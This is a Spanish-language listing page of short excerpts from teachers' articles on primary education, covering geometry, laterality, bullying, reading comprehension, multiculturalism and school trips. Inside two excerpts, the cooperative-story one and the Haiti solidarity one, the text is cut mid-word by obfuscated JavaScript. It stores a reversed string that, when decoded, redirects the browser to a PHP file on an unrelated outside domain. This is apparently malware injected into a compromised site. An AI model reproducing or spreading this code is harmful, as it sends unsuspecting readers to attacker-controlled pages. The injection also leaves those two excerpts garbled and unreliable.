VAMOS A PINTAR Y DAR FORMAS

Autora: Cristina Gimón Murciano           El artículo que se presenta es una Unidad Didáctica del área de matemáticas, en la que se trabajan las Figuras Geométricas Planas: el círculo, el cuadrado y el triángulo. El nivel al que va dirigido es el primer ciclo de primaria.   INTRODUCCIÓN Y JUSTIFICACIÓN           Las figuras geométricas es uno de los temas importantes que se ha llevado a cabo en Educación Infantil y se... [Leer mas...]

LA EDUCACIÓN PRIMARIA: CLAVE DEL ÉXITO ESCOLAR

Autora: María Mancera Hernández           Las materias instrumentales como eje de los aprendizajes:            Nuestros alumnos pasan 9 años en la Escuela antes de acceder a la Educación Secundaria Obligatoria y, según la mayoría de los autores y organismos Educativos, es en estas etapas, Infantil y Primaria, donde se han de poner los cimientos de lo que queremos conseguir de los futuros ciudadanos adultos. Los últimos datos... [Leer mas...]

LA LATERALIDAD DEL ALUMNO/A EN LA EDUCACIÓN PRIMARIA

Autora: Miryan Santos Pizarro La Lateralidad es la predominancia de nuestros órganos.           Se define como la predominancia de uno u otro de dos miembros u órganos simétricos, tales como una mano, un ojo… lo cual determina la existencia de los diestros y los zurdos, tanto manuales como oculares.           La lateralidad corporal es la preferencia en razón del uso más frecuente y efectivo de una mitad lateral del cuerpo... [Leer mas...]

ACOSO ESCOLAR

Autora: Rosa María Cruz Morcillo 1. INTRODUCCIÓN           Para muchos niños y niñas, hoy en día, es frecuente haberse sentido, en algún momento, a lo largo de su vida escolar, intimidado, acosado y obligado a hacer algo que no quería. Este fenómeno no es nuevo; muchos de nuestros alumnos lo están padeciendo, lo que requiere una amplia reflexión y la toma de medidas a través de programas educativos.            También... [Leer mas...]

CÓMO REALIZAR UN CUENTO DE FORMA COOPERATIVA

Autora: Mª Mercedes Vázquez Rodríguez            Todos estamos de acuerdo en que la lectura es un vínculo entre el niño y su historia, puesto que es uno de los medios más importantes por el cual se aprende a usar de forma nueva los recursos lingüísticos que han sido desarrollados, escuch$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return... [Leer mas...]

KILÓMETROS DE SOLIDARIDAD CON LOS NIÑOS DE HAITÍ

Autora: María de la Soledad Salido Sánchez            Como sabemos, el día 28 de enero celebramos el Dia Escolar de la Paz y No Violencia. Tras algunos años program$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Leer mas...]

LA LECTURA COMPRENSIVA EN EDUCACIÓN PRIMARIA

Autora: Patricia García Benítez            Antes de profundizar en el tema, me gustaría hacer una diferenciación entre el concepto de lectura y el de comprensión lectora. El primer término hace referencia a la descodificación de las unidades que componen un texto; mientras que el segundo implica la descodificación del texto, pero también un proceso complejo de interacción entre lector y texto, para interpretar y desarrollar una... [Leer mas...]

MULTICULTURALIDAD EN LAS AULAS

Autora: Gema Terrazas Orozco           En una sociedad de transformaciones en la que todos estamos conectados entre sí desde cualquier lugar del mundo, y donde las culturas de mezclan, estos cambios aparecen en la “estructura tradicional” de nuestras aulas.             Hasta hace poco tiempo, todos nuestros alumnos (con sus necesidades e intereses) vivían bajo la misma cultura e ideología. Sin embargo, y ya en la actualidad,... [Leer mas...]

NUEVAS FORMAS PARA MOTIVAR A LOS ALUMNOS

Autora: Consolación Cosmo González           La actual Ley Orgánica  de Educación de 3 de Mayo de 2006 establece, en su  artículo 16,  la  finalidad de la etapa de Educación Primaria: “proporcionar a todos los niños y niñas una educación que permita afianzar su desarrollo personal y su propio bienestar, adquirir las habilidades culturales básicas, así como desarrollar las habilidades sociales, los hábitos de trabajo y estudio,... [Leer mas...]

UNA ACTIVIDAD DIDÁCTICA ENRIQUECEDORA: LA EXCURSIÓN

Autora: María de la Soledad Salido Sánchez           Como docentes que somos, a lo largo de nuestra vida y de nuestra labor, se nos plantean una serie de decisiones. Una de ellas es la de proponer y planificar, cada año, excursiones o actividades complementarias y extraescolares. En mi opinión, cada día existe la idea generalizada de que estas actividades son enriquecedoras para nuestro alumnado. Bajo esta idea pretendo, durante estas... [Leer mas...]

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